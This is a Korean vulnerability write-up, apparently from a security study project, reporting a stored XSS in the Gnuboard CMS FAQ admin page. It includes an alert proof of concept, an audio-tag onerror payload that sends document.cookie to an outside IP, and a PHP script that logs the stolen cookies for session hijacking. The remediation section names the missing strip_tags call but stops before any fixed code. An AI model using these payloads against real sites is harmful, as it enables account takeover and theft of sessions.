개요
본프로젝트에서 취약점으로 생각했지만 관리자 페이지여서 파급력을 인정받지 못했지만 XSS는 취약한 부분임으로 정리를 한다.
목차
1. 발견방법
2. 발견한 취약점
3. 취약점 악용 시나리오
4. 대처방법
1. 발견 방법
cms 게시판,1대1문의등 여러 플렛폼에 xss 공격 구문 대입
2. 발견한 취약점
[1]
그누보드 접속하여 권한을 부여받은 아이디로 로그인
[2]
관리자 설정 - 게시판 관리 - FAQ 관리 접속
[3]
FAQ 추가를 눌러 하나의 카테고리인 FAQ Master 생성
[4]
생성한 FAQ Master의 제목을 누른 후
FAQ 상세내용 추가
[5]
질문 입력공간에 <audio src=1 href=1 onerror="javascript:alert(1)"></audio> 를 입력 후 저장
[6]
그누보드 접속하여 최고관리자로 로그인
[7]
최고관리자가 FAQ master를 누르면
[8]
1이 뜨면서 xss취약점을 확인할수 있다
3. 취약점 악용 시나리오
한 회사의 웹 페이지의 관리자가 업무의 양을 줄이기 위해 관리를 하라고 권한을 부여해주게 된다면, 그 사람이 악의적인 스크립트를 작성해 글을 넣어둔다면 그 글을 읽는 모든사람(관리자 또는 중요 회원)의 쿠키를 탈취해 로그인하여 악의적인 행동을 한다.
[1]
최고 관리자가 xss가 터지는 FAQ 담당자에게 부분 권한을 부여한다.
[2]
그 부분 담당자는 질문 입력공간에 아래와 같이 입력 후 저장
<audio src=1 href=1 onerror=document.location="http://192.168.0.88/xss.php?data="+document.cookie;></audio>
간단히 설명하자면 xss.php파일로 data라는 변수에 쿠키값을 담아 전달하라는 script이다.
xss.php
<?php
$cookie=$_GET['data'];
$atime=date("y-m-d H:i:s");
$log=fopen("cookie.txt","a");
fwrite($log, $atime." ".$cookie."\r\n");
fclose($log);
echo "hack!!";
?>
xss.php는 받는 쿠키값이 담아져있는 data를 cookie.txt 파일에 적는 기능을 한다.
[3]
목록을 누르면 hack라는 문구가 뜨면서 타겟의 쿠키 값이 공격자의 웹 서버에 cookie.txt 파일로 저장
[4]
공격자가 파일에 저장된 쿠키 값으로 Editthiscookie로 쿠키 값을 변조하면 타겟의 계정으로 로그인 성공
4. 대처방법
첫번째 php(faqmasterformupdate.php)와 다르게 두번째 php(faqformupdate.php)는 html, php 태그를 제거한 문자열을 반환해주는 strip_tag 함수가 없어 데이터베이스에 그대로 저장되기 때문에 XSS 공격이 통한다.
고친 php